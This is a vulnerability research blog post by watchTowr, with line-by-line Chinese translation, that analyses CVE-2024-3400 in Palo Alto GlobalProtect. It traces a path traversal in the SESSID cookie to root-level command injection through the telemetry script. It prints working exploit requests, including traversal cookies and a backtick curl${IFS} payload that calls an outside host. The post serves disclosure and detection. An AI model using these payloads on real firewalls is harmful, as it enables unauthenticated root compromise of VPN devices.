Palo Alto – Putting The Protecc In GlobalProtect (CVE-2024-3400)

Welcome to April 2024, again. We’re back, again.
欢迎来到 2024 年 4 月。我们又回来了。

Over the weekend, we were all greeted by now-familiar news—a nation-state was exploiting a “sophisticated” vulnerability for full compromise in yet another enterprise-grade SSLVPN device.
上周末，我们都收到了现在熟悉的消息——一个民族国家正在利用一个“复杂”的漏洞，在另一个企业级SSLVPN设备中完全妥协。

We’ve seen all the commentary around the certification process of these devices for certain .GOVs – we’re not here to comment on that, but sounds humorous.
我们已经看到了有关这些设备认证过程的所有评论。GOV – 我们不是来评论的，但听起来很幽默。

We would comment on the current state of SSLVPN devices, but like jokes about our PII being stolen each week, the news of yet another SSLVPN RCE is getting old.
我们会对 SSLVPN 设备的当前状态发表评论，但就像每周关于我们的 PII 被盗的笑话一样，另一个 SSLVPN RCE 的消息已经过时了。

On Friday 12th April, the news of CVE-2024-3400 dropped. A vulnerability that “based on the resources required to develop and exploit a vulnerability of this nature” was likely used by a “highly capable threat actor”.
4 月 12 日星期五，CVE-2024-3400 的消息传出。“基于开发和利用这种性质的漏洞所需的资源”的漏洞可能被“能力强的威胁行为者”使用。

Exciting. 令人兴奋的。

Here at watchTowr, our job is to tell the organisations we work with whether appliances in their attack surface are vulnerable with precision. Thus, we dived in.
在watchTowr，我们的工作是准确地告诉与我们合作的组织，其攻击面上的设备是否容易受到攻击。因此，我们潜入其中。

If you haven’t read Volexity’s write-up yet, we’d advise reading it first for background information. A friendly shout-out to the team @ Volexity – incredible work, analysis and a true capability that we as an industry should respect. We’d love to buy the team a drink(s).
如果您还没有阅读 Volexity 的文章，我们建议您先阅读它以获取背景信息。向@Volexity团队致以友好的敬意 – 令人难以置信的工作，分析和我们作为一个行业应该尊重的真正能力。我们很想给团队买一杯饮料。

CVE-2024-3400 CVE-2024-3400 （英语）

We start with very little, and as in most cases are armed with a minimal CVE description:
我们从很少的开始，并且在大多数情况下都配备了最少的 CVE 描述：

A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks 
PAN-OS software for specific PAN-OS versions and distinct feature configurations may
enable an unauthenticated attacker to execute arbitrary code with root privileges on
the firewall.
Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by 
this vulnerability.

What is omitted here is the pre-requisite that telemetry must be enabled to achieve command injection with this vulnerability. From Palo Alto themselves:
此处省略的是必须启用遥测才能使用此漏洞实现命令注入的先决条件。来自帕洛阿尔托自己：

This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls 
configured with GlobalProtect gateway or GlobalProtect portal (or both) and device
telemetry enabled.

The mention of ‘GlobalProtect’ is pivotal here – this is Palo Alto’s SSLVPN implementation, and finally, my kneejerk reaction to turn off all telemetry on everything I own is validated! A real vuln that depends on device telemetry!
提到“GlobalProtect”在这里至关重要 – 这是 Palo Alto 的 SSLVPN 实现，最后，我关闭我拥有的所有东西的所有遥测的下意识反应得到了验证！依赖于设备遥测的真正漏洞！

Our Approach To Analysis 我们的分析方法

As always, our journey begins with a hop, skip and jump to Amazon’s AWS Marketplace to get our hands on a shiny new box to play with.
与往常一样，我们的旅程从跳跃、跳跃和跳转到 Amazon 的 AWS Marketplace 开始，以获得一个闪亮的新盒子来玩。

Fun fact: partway through our investigations, Palo Alto took the step of removing the vulnerable version of their software from the AWS Marketplace – so if you’re looking to follow along with our research at home, you may find doing so quite difficult.
有趣的事实：在我们的调查进行到一半时，Palo Alto 采取了从 AWS Marketplace 中删除其软件的易受攻击版本的步骤 – 因此，如果您想在家中跟进我们的研究，您可能会发现这样做非常困难。

Accessing The File System
访问文件系统

Anyway, once you get hold of a running VM in an EC2, it is trivial to access the device’s filesytem. No disk encryption is at play here, which means we can simply boot the appliance from a Linux root filesystem and mount partitions to our heart’s content.
无论如何，一旦您在 EC2 中获取了正在运行的 VM，访问设备的文件就变得微不足道了。这里没有磁盘加密，这意味着我们可以简单地从 Linux 根文件系统启动设备并随心所欲地挂载分区。

The filesystem layout doesn’t pack any punches, either. There’s the usual nginx setup, with one configuration file exposing GlobalProtect URLs and proxying them to a service listening on the loopback interface via the proxypass directive, while another configuration file exposes the management UI:
文件系统布局也没有任何冲击力。有通常的 nginx 设置，一个配置文件公开 GlobalProtect URL，并通过 proxypass 指令将它们代理到侦听环回接口的服务，而另一个配置文件公开管理 UI：

location ~ global-protect/(prelogin|login|getconfig|getconfig_csc|satelliteregister|getsatellitecert|getsatelliteconfig|getsoftwarepage|logout|logout_page|gpcontent_error|get_app_info|getmsi|portal\\/portal|portal/consent).esp$ {
    include gp_rule.conf;
    proxy_pass   http://$server_addr:20177;
}

There’s a handy list of endpoints there, allowing us to poke around without even cracking open the handler binary.
那里有一个方便的端点列表，允许我们四处探索，甚至无需破解处理程序二进制文件。

With the bug class as it is – command injection – it’s always good to poke around and try our luck with some easy injections, but to no avail here. It’s time to crack open the hander for this mysterious service. What provides it?
对于错误类 – 命令注入 – 四处逛逛，用一些简单的注入来试试运气总是好的，但在这里无济于事。是时候为这项神秘的服务打开手了。什么提供了它？

Well, it turns out that it is handled by the gpsvc binary. This makes sense, it being the Global Protect service. We plopped this binary into the trusty IDA Pro, expecting a long and hard voyage of reversing, only to be greeted with a welcome break:
好吧，事实证明它是由 gpsvc 二进制文件处理的。这是有道理的，它是全局保护服务。我们将这个二进制文件放入值得信赖的 IDA Pro 中，期待漫长而艰难的倒车之旅，结果却迎来了一个受欢迎的休息时间：

Debug symbols! Wonderful! This will make reversing a lot easier, and indeed, those symbols are super-useful.
调试符号！美妙！这将使倒车变得更加容易，事实上，这些符号非常有用。

Our first call, somewhat obviously, is to find references to the system call (and derivatives), but there’s no obvious injection point here. We’re looking at something more subtle than a straightforward command injection.
很明显，我们的第一个调用是找到 system 对调用（和衍生物）的引用，但这里没有明显的注入点。我们正在研究比简单的命令注入更微妙的东西。

Unmarshal Reflection Unmarshal 反射

Our big break occurred when we noticed some weird behavior when we fed the server a malformed session ID. For example, using the session value Cookie: SESSID=peekaboo; and taking a look at the logs, we can see a somewhat-opaque clue:
当我们向服务器提供格式错误的会话 ID 时，我们注意到一些奇怪的行为，这就发生了重大突破。例如，使用 session 值 Cookie: SESSID=peekaboo; 并查看日志，我们可以看到一个有点不透明的线索：

{"level":"error","task":"1393405-22","time":"2024-04-16T06:21:51.382937575-07:00","message":"failed to unmarshal session(peekaboo) map , EOF"}

An EOF? That kind-of makes sense, since there’s no session with this key. The session-store mechanism has failed to find information about the session. What happens, though, if we pass in a value containing a slash? Let’s try Cookie: SESSID=foo/bar;:
An EOF?这是有道理的，因为没有使用此密钥的会话。会话存储机制无法找到有关会话的信息。但是，如果我们传入一个包含斜杠的值，会发生什么？让我们试试 Cookie: SESSID=foo/bar; ：

2024-04-16 06:19:34 {"level":"error","task":"1393401-22","time":"2024-04-16T06:19:34.32095066-07:00","message":"failed to load file /tmp/sslvpn/session_foo/bar,

Huh, what’s going on here? Is this some kind of directory traversal?! Let’s try our luck with our old friend .. , supplying the cookie Cookie: SESSID=/../hax;:
咦，这是怎么回事？这是某种目录遍历吗？！让我们和我们的老朋友碰碰运气 .. ，提供饼干 Cookie: SESSID=/../hax; ：

2024-04-16 06:24:48 {"level":"error","task":"1393411-22","time":"2024-04-16T06:24:48.738002019-07:00","message":"failed to unmarshal session(/../hax) map , EOF"}

Ooof, are we traversing the filesystem here? Maybe there’s some kind of file write possible. Time to crack open that disassembly and take a look at what’s going on. Thanks to the debug symbols this is a quick task, as we quickly find the related symbols:
哎呀，我们在这里遍历文件系统吗？也许有某种文件写入的可能性。是时候打开拆卸了，看看发生了什么。多亏了调试符号，这是一项快速任务，因为我们可以快速找到相关符号：

.rodata:0000000000D73558                 dq offset main__ptr_SessDiskStore_Get
.rodata:0000000000D73560                 dq offset main__ptr_SessDiskStore_New
.rodata:0000000000D73568                 dq offset main__ptr_SessDiskStore_Save

Great. Let’s give main__ptr_SessDiskStore_New a gander. We can quickly see how the session ID is concatenated into a file path unsafely:
伟大。让我们来 main__ptr_SessDiskStore_New 介绍一下。我们可以快速查看会话 ID 是如何不安全地连接到文件路径中的：

    path = s->path;
    store_8e[0].str = (uint8 *)"session_";
    store_8e[0].len = 8LL;
    store_8e[1] = session->ID;
    fmt_24 = runtime_concatstring2(0LL, *(string (*)[2])&store_8e[0].str);
    *((_QWORD *)&v71 + 1) = fmt_24.len;
    if ( *(_DWORD *)&runtime_writeBarrier.enabled )
      runtime_gcWriteBarrier();
    else
      *(_QWORD *)&v71 = fmt_24.str;
    stored.array = (string *)&path;
    stored.len = 2LL;
    stored.cap = 2LL;
    filename = path_filepath_Join(stored);

Later on in the function, we can see that the binary will – somewhat unexpectedly – create the directory tree that it attempts to read the file containing session information from.
在函数的后面，我们可以看到二进制文件将 – 有点出乎意料地 – 创建目录树，它试图从中读取包含会话信息的文件。

      if ( os_IsNotExist(fmta._r2) )
      {
        store_8b = (github_com_gorilla_sessions_Store_0)net_http__ptr_Request_Context(r);
        ctxb = store_8b.tab;
        v52 = runtime_convTstring((string)s->path);
        v6 = (_1_interface_ *)runtime_newobject((runtime__type_0 *)&RTYPE__1_interface_);
        v51 = (interface__0 *)v6;
        (*v6)[0].tab = (void *)&RTYPE_string_0;
        if ( *(_DWORD *)&runtime_writeBarrier.enabled )
          runtime_gcWriteBarrier();
        else
          (*v6)[0].data = v52;
        storee.tab = ctxb;
        storee.data = store_8b.data;
        fmtb.str = (uint8 *)"folder is missing, create folder %s";
        fmtb.len = 35LL;
        fmt_16a.array = v51;
        fmt_16a.len = 1LL;
        fmt_16a.cap = 1LL;
        paloaltonetworks_com_libs_common_Warn(storee, fmtb, fmt_16a);
        err_1 = os_MkdirAll((string)s->path, 0644u);

This is interesting, and clearly we’ve found a ‘bug’ in the true sense of the word – but have we found a real, exploitable vulnerability?
这很有趣，很明显，我们已经发现了一个真正意义上的“错误”——但我们是否发现了一个真正的、可利用的漏洞？

All that this function gives us is the ability to create a directory structure, with a zero-length file at the bottom level.
这个函数给我们的只是创建一个目录结构的能力，在底层有一个零长度的文件。

We don’t have the ability to put anything in this file, so we can’t simply drop a webshells or anything.
我们没有能力在这个文件中放任何东西，所以我们不能简单地删除一个 webshell 或任何东西。

We can cause some havoc by accessing various files in /dev – adventurous (reckless?) tests supplied /dev/nvme0n1 as the cookie file, causing the device to rapidly OOM, but verifying that we could read files as the superuser, not as a limited user.
我们可以通过访问 /dev 中的各种文件来造成一些破坏 – 冒险（鲁莽？）测试提供 /dev/nvme0n1 作为 cookie 文件，导致设备快速 OOM，但验证我们可以作为超级用户而不是作为受限用户读取文件。

Arbitrary File Write 任意文件写入

Unmarshalling the local file via the user input that we control in the SESSID cookie takes place as root, and with read and write privileges. An unintended consequence is that should the requested file not exist, the file system creates a zero-byte file in its place with the filename intact.
通过我们在 SESSID cookie 中控制的用户输入对本地文件进行解组，以 root 身份进行，并具有读写权限。一个意想不到的后果是，如果请求的文件不存在，文件系统会创建一个零字节文件，文件名保持不变。

We can verify this is the case by writing a file to the webroot of the appliance, in a location we can hit from an unauthenticated perspective, with the following HTTP request (and loaded SESSID cookie value).
我们可以通过将文件写入设备的 webroot 来验证这种情况，在我们可以从未经身份验证的角度访问的位置，使用以下 HTTP 请求（和加载的 SESSID cookie 值）。

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: hostname
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/watchtowr.txt;

When we attempt to then retrieve the file we previously attempted to create with a simple HTTP request, the web server responds with a 403 status code instead of a 404 status code, indicating that the file has been created. It should be noted that the file is created using root privileges, and as such, it is not possible to view its contents. But, who cares—it’s a zero-byte file anyway.
当我们尝试检索之前尝试使用简单的 HTTP 请求创建的文件时，Web 服务器会使用 403 状态代码而不是 404 状态代码进行响应，表示该文件已创建。应该注意的是，该文件是使用 root 权限创建的，因此无法查看其内容。但是，谁在乎呢——无论如何，它都是一个零字节文件。

This is in line with the analysis provided by various threat intelligence vendors, which gave us confidence that we were on the right track. But what now?
这与各种威胁情报供应商提供的分析一致，这让我们相信我们走在正确的轨道上。但现在呢？

Telemetry Python 遥测 Python

As we discussed further above – a fairly important detail within the advisory description explains that only devices which have telemetry enabled are vulnerable to command injection. But, our above SESSID shenanigans are not influenced by telemetry being enabled or disabled, and thus decided to dive further (and have another 5+ RedBulls).
正如我们在上面进一步讨论的那样，公告说明中一个相当重要的细节解释说，只有启用了遥测的设备才容易受到命令注入的影响。但是，我们上面的 SESSID 恶作剧不受启用或禁用遥测的影响，因此决定进一步潜水（并拥有另外 5+ 个 RedBulls）。

Without getting too gritty with the code just yet, we observed from appliance logs that we had access to, that every so often telemetry functionality was running on a cronjob and ingesting log files within the appliance. This telemetry functionality then fed this data to Palo Alto servers, who were probably observing both threat actors and ourselves playing around (”Hi Palo Alto!”).
我们还没有对代码过于纠结，而是从我们可以访问的设备日志中观察到，遥测功能经常在 cronjob 上运行，并在设备中引入日志文件。然后，此遥测功能将此数据提供给帕洛阿尔托服务器，这些服务器可能正在观察威胁参与者和我们自己（“嗨，帕洛阿尔托！

Within the logs that we were reviewing, a certain element stood out – the logging of a full shell command, detailing the use of curl to send logs to Palo Alto from a temporary directory:
在我们正在审查的日志中，某个元素脱颖而出 – 完整 shell 命令的日志记录，详细说明了从临时目录将日志发送到 Palo Alto 的用途 curl ：

24-04-16 02:28:05,060 dt INFO S2: XFILE: send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><SERIAL_NO>/2024/04/16/09/28//opt/panlogs/tmp/device_telemetry/minute/PA_<SERIAL_NO>_dt_11.1.2_20240416_0840_5-min-interval_MINUTE.tgz?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713260285&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/PA_<SERIAL_NO>_dt_11.1.2_20240416_0840_5-min-interval_MINUTE.tgz --capath /tmp/capath'

We were able to trace this behaviour to the Python file /p2/usr/local/bin/dt_curl on line #518:
我们能够将这种行为追溯到第 #518 行的 Python 文件 /p2/usr/local/bin/dt_curl ：

if source_ip_str is not None and source_ip_str != "": 
        curl_cmd = "/usr/bin/curl -v -H \\"Content-Type: application/octet-stream\\" -X PUT \\"%s\\" --data-binary @%s --capath %s --interface %s" \\
                     %(signedUrl, fname, capath, source_ip_str)
    else:
        curl_cmd = "/usr/bin/curl -v -H \\"Content-Type: application/octet-stream\\" -X PUT \\"%s\\" --data-binary @%s --capath %s" \\
                     %(signedUrl, fname, capath)
    if dbg:
        logger.info("S2: XFILE: send_file: curl cmd: '%s'" %curl_cmd)
    stat, rsp, err, pid = pansys(curl_cmd, shell=True, timeout=250)

The string curl_cmd is fed through a custom library pansys which eventually calls pansys.dosys() in /p2/lib64/python3.6/site-packages/pansys/pansys.py line #134:
该字符串 curl_cmd 通过自定义库馈送，该库 pansys 最终调用 pansys.dosys() /p2/lib64/python3.6/site-packages/pansys/pansys.py 第 #134 行：

    def dosys(self, command, close_fds=True, shell=False, timeout=30, first_wait=None):
        """call shell-command and either return its output or kill it
           if it doesn't normally exit within timeout seconds"""
    
        # Define dosys specific constants here
        PANSYS_POST_SIGKILL_RETRY_COUNT = 5

        # how long to pause between poll-readline-readline cycles
        PANSYS_DOSYS_PAUSE = 0.1

        # Use first_wait if time to complete is lengthy and can be estimated 
        if first_wait == None:
            first_wait = PANSYS_DOSYS_PAUSE

        # restrict the maximum possible dosys timeout
        PANSYS_DOSYS_MAX_TIMEOUT = 23 * 60 * 60
        # Can support upto 2GB per stream
        out = StringIO()
        err = StringIO()

        try:
            if shell:
                cmd = command
            else:
                cmd = command.split()
        except AttributeError: cmd = command

        p = subprocess.Popen(cmd, stdout=subprocess.PIPE, bufsize=1, shell=shell,
                 stderr=subprocess.PIPE, close_fds=close_fds, universal_newlines=True)
        timer = pansys_timer(timeout, PANSYS_DOSYS_MAX_TIMEOUT)

As those who are gifted with sight can likely see, this command is eventually pushed through subprocess.Popen() . This is a known function for executing commands (..), and naturally becomes dangerous when handling user input – therefore, by default Palo Alto set shell=False within the function definition to inhibit nefarious behaviour/command injection.
正如那些有视力天赋的人可能看到的那样，这个命令最终被推通 subprocess.Popen() 了。这是一个用于执行命令的已知函数 （..），在处理用户输入时自然会变得危险 – 因此，默认情况下，在函数定义中设置 shell=False Palo Alto 以抑制恶意行为/命令注入。

Luckily for us, that became completely irrelevant when the function call within dt_curl overwrote this default and set shell=True when calling the function.
对我们来说幸运的是，当函数调用在 dt_curl 调用函数时覆盖了这个默认值和设置 shell=True 时，这变得完全无关紧要。

Naturally, this began to look like a great place to leverage command injection, and thus, we were left with the challenge of determining whether our ability to create zero-byte files was relevant.
自然而然地，这开始看起来像是利用命令注入的好地方，因此，我们面临着确定我们创建零字节文件的能力是否相关的挑战。

Without trying to trace code too much, we decided to upload a file to a temporary directory utilised by the telemetry functionality (/opt/panlogs/tmp/device_telemetry/minute/) to see if this would be utilised, and reflected within the resulting curl shell command.
在不尝试过多地跟踪代码的情况下，我们决定将文件上传到遥测功能 （ /opt/panlogs/tmp/device_telemetry/minute/ ） 使用的临时目录，以查看是否会使用该目录，并反映在生成 curl 的 shell 命令中。

Using a simple filename of “hellothere” within the SESSID value of our unauthenticated HTTP request:
在未经身份验证的 HTTP 请求的 SESSID 值中使用简单的文件名“hellothere”：

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: <Hostname>
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere

As luck would have it, within the device logs, our flag is reflected within the curl shell command:
幸运的是，在设备日志中，我们的标志反映在 curl shell 命令中：

24-04-16 01:33:03,746 dt INFO S2: XFILE: send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><serial-no>/2024/04/16/08/33//opt/panlogs/tmp/device_telemetry/minute/hellothere?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713256984&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/**hellothere** --capath /tmp/capath'

At this point, we’re onto something – we have an arbitrary value in the shape of a filename being injected into a shell command. Are we on a path to receive angry tweets again?
在这一点上，我们开始了一些事情 – 我们有一个文件名形状的任意值被注入到 shell 命令中。我们是否再次收到愤怒的推文？

We played around within various payloads till we got it right, the trick being that spaces were being truncated at some point in the filename’s journey – presumably as spaces aren’t usually allowed in cookie values.
我们在各种有效负载中反复尝试，直到我们做对了，诀窍是在文件名旅程的某个时刻被截断了空格 – 大概是因为 cookie 值中通常不允许使用空格。

To overcome this, we drew on our old-school UNIX knowledge and used the oft-abused shell variable IFS as a substitute for actual spaces. This allowed us to demonstrate control and gain command execution by executing a Curl command that called out to listening infrastructure of our own!
为了克服这个问题，我们借鉴了我们老派的 UNIX 知识，并使用经常被滥用的 shell 变量 IFS 来替代实际空间。这使我们能够通过执行 Curl 命令来演示控制并获得命令执行，该命令调用了我们自己的监听基础设施！

Here is an example SESSID payload:
下面是一个示例 SESSID 有效负载：

Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}x1.outboundhost.com`;

And the associated log, demonstrating our injected curl command:
以及相关的日志，演示了我们注入的 curl 命令：

24-04-16 02:28:07,091 dt INFO S2: XFILE: send_file: curl cmd: '/usr/bin/curl -v -H "Content-Type: application/octet-stream" -X PUT "<https://storage.googleapis.com/bulkreceiver-cdl-prd1-sg/telemetry/><serial-no>/2024/04/16/09/28//opt/panlogs/tmp/device_telemetry/minute/hellothere226%60curl%24%7BIFS%7Dx1.outboundhost.com%60?GoogleAccessId=bulkreceiver-frontend-sg-prd@cdl-prd1-sg.iam.gserviceaccount.com&Expires=1713260287&Signature=<truncated>" --data-binary @/opt/panlogs/tmp/device_telemetry/minute/hellothere226**`curl${IFS}x1.outboundhost.com**` --capath /tmp/capath'

Proof of Concept 概念验证

At watchTowr, we no longer publish Proof of Concepts. Why prove something is vulnerable when we can just believe it’s so?
在 watchTowr，我们不再发布概念验证。当我们可以相信某件事是脆弱的时，为什么要证明它是脆弱的？

Instead, we’ve decided to do something better – that’s right! We’re proud to release another detection artefact generator tool, this time in the form of an HTTP request:
相反，我们决定做一些更好的事情——没错！我们很自豪地发布了另一个检测工件生成器工具，这次是以 HTTP 请求的形式：

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: watchtowr.com
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere`curl${IFS}where-are-the-sigma-rules.com`;
Content-Type: application/x-www-form-urlencoded
Content-Length: 158

user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr

As we can see, we inject our command injection payload into the SESSID cookie value – which, when a Palo Alto GlobalProtect appliance has telemetry enabled – is then concatenated into a string and ultimately executed as a shell command.
正如我们所看到的，我们将命令注入有效负载注入到 SESSID cookie 值中 – 当 Palo Alto GlobalProtect 设备启用遥测时，该值随后被连接成一个字符串，并最终作为 shell 命令执行。

Something-something-sophistication-levels-only-achievable-by-a-nation-state-something-something.
某些东西的复杂程度只能由民族国家实现。

Conclusion 结论

It’s April. It’s the second time we’ve posted. It’s also the fourth time we’ve written a blog post about an SSLVPN vulnerability in 2024 alone. That’s an average of once a month.
现在是四月。这是我们第二次发帖了。这也是我们在 2024 年第四次撰写有关 SSLVPN 漏洞的博客文章。平均每月一次。

The Twitter account https://twitter.com/year_progress puts our SSLVPN posts in context
Twitter 帐户 https://twitter.com/year_progress 将我们的 SSLVPN 帖子置于上下文中

As we said above, we have no doubt that there will be mixed opinions about the release of this analysis – but, patches and mitigations are available from Palo Alto themselves, and we should not be forced to live in a world where only the “bad guys” can figure out if a host is vulnerable, and organisations cannot determine their exposure.
正如我们上面所说，我们毫不怀疑，对于此分析的发布会有不同的看法 – 但是，帕洛阿尔托本身可以获得补丁和缓解措施，我们不应该被迫生活在一个只有“坏人”才能弄清楚主机是否易受攻击的世界里，组织无法确定他们的暴露。

It’s not like we didn’t warn you
这并不是说我们没有警告你

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.
在watchTowr，我们相信持续的安全测试是未来，能够快速识别影响您组织的整体高影响漏洞。

It’s our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.
我们的工作是了解新出现的威胁、漏洞和 TTP 如何影响您的组织。